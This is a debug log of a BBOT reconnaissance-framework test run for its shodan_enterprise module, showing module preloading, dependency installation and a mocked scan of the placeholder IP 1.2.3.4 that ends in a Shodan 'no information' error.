[DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 18:59:12,675 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 18:59:12,676 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 18:59:12,676 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 18:59:12,677 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 18:59:12,678 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 18:59:12,678 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 18:59:12,679 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 18:59:12,684 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 18:59:12,685 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 18:59:12,686 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 18:59:12,687 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 18:59:12,688 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 18:59:12,689 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 18:59:12,689 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 18:59:12,690 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 18:59:12,690 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 18:59:12,691 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 18:59:12,692 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 18:59:12,693 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 18:59:12,694 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 18:59:12,695 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 18:59:12,695 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 18:59:12,696 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 18:59:12,697 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 18:59:12,697 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 18:59:12,698 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 18:59:12,699 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 18:59:12,699 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 18:59:12,700 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 18:59:12,701 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 18:59:12,701 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 18:59:12,702 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 18:59:12,702 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 18:59:12,703 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 18:59:12,704 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 18:59:12,705 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 18:59:12,706 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 18:59:12,706 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 18:59:12,707 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 18:59:12,707 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 18:59:12,708 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 18:59:12,708 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 18:59:12,709 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 18:59:12,710 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 18:59:12,710 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 18:59:12,711 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 18:59:12,712 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 18:59:12,713 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 18:59:12,714 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 18:59:12,715 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 18:59:12,716 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 18:59:12,716 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 18:59:12,717 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 18:59:12,718 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 18:59:12,718 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 18:59:12,719 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 18:59:12,719 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 18:59:12,720 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 18:59:12,720 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 18:59:12,721 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 18:59:12,722 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 18:59:12,723 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 18:59:12,724 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 18:59:12,724 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 18:59:12,725 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 18:59:12,725 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 18:59:12,726 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 18:59:12,727 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 18:59:12,727 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 18:59:12,728 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 18:59:12,729 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 18:59:12,730 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 18:59:12,730 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 18:59:12,731 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 18:59:12,732 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 18:59:12,732 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 18:59:12,733 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 18:59:12,733 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 18:59:12,734 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 18:59:12,734 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 18:59:12,735 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 18:59:12,736 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 18:59:12,736 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 18:59:12,737 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 18:59:12,737 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 18:59:12,738 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 18:59:12,738 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 18:59:12,739 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 18:59:12,740 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 18:59:12,741 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 18:59:12,742 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 18:59:12,742 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 18:59:12,743 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 18:59:12,744 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 18:59:12,744 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 18:59:12,745 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 18:59:12,746 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 18:59:12,747 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 18:59:12,747 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 18:59:12,748 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 18:59:12,749 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 18:59:12,749 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 18:59:12,750 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 18:59:12,751 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 18:59:12,752 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 18:59:12,753 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 18:59:12,754 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 18:59:12,754 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 18:59:12,755 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 18:59:12,756 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 18:59:12,756 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:59:14,144 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:59:14,144 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:59:14,145 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 18:59:14,283 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 18:59:14,851 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 18:59:14,852 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 18:59:14,852 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 18:59:14,852 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 18:59:15,072 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 18:59:15,073 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 18:59:15,189 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 18:59:15,193 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 18:59:15,248 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 18:59:15,252 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 18:59:15,252 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 18:59:15,949 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 18:59:15,950 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 18:59:19,075 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 18:59:19,076 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 18:59:19,077 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 18:59:21,105 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 18:59:21,107 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 18:59:21,112 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:59:21,112 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 18:59:21,112 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:59:21,113 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 18:59:21,113 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:59:21,114 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 18:59:21,114 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:59:21,114 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 18:59:21,115 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 18:59:21,115 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 18:59:21,120 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/m2gr96azwgfdq1c42288 -2026-02-27 18:59:22,367 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 18:59:22,367 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 18:59:22,369 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 18:59:22,494 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 18:59:22,494 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 18:59:22,495 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 18:59:22,497 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 18:59:22,498 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 18:59:22,498 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 18:59:22,498 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 18:59:22,500 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 18:59:22,500 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 18:59:22,500 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 18:59:22,501 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 18:59:22,501 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 18:59:22,502 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 18:59:22,502 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 18:59:22,502 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 18:59:22,502 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 18:59:22,503 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 18:59:22,503 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 18:59:22,503 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 18:59:22,504 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 18:59:22,504 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 18:59:22,504 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 18:59:22,504 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 18:59:22,505 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 18:59:22,505 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 18:59:22,505 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 18:59:22,505 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 18:59:22,505 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 18:59:22,506 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 18:59:22,506 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 18:59:22,506 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 18:59:22,506 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 18:59:22,506 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 18:59:22,507 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 18:59:22,507 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 18:59:22,507 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 18:59:22,507 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 18:59:22,507 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 18:59:22,508 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 18:59:22,508 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 18:59:22,508 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 18:59:22,509 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 18:59:22,509 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 18:59:22,509 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 18:59:22,509 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 18:59:22,649 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_k9r3xnbdv2 -2026-02-27 18:59:22,649 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 18:59:22,757 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 18:59:22,758 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 18:59:22,758 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 18:59:22,761 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-02-27 18:59:22,860 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check -2026-02-27 18:59:22,861 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) -2026-02-27 18:59:22,862 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target -2026-02-27 18:59:22,863 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:59:22,864 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:59:22,865 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:59:22,866 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 18:59:22,866 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:59:22,868 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:59:22,869 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 18:59:22,869 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:59:22,871 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:59:22,871 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:59:22,873 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:59:22,874 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 18:59:22,877 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:59:22,878 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 18:59:22,878 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:59:22,879 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:59:22,879 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 18:59:22,880 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-02-27 18:59:22,880 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 18:59:22,881 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 18:59:22,881 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:59:23,505 [ERROR] bbot.modules.shodan_enterprise base.py:1707 Shodan API error: No information available for that IP. -2026-02-27 18:59:23,510 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-02-27 18:59:23,511 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 18:59:23,511 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:4438896287fbbcad5716b4f276bebdcc6dd04f55', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:59:23,512 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-02-27 18:59:23,512 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-02-27 18:59:23,513 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 18:59:23,513 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 18:59:23,514 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 18:59:23,514 [DEBUG] bbot.modules.output.python base.py:1563 Queueing 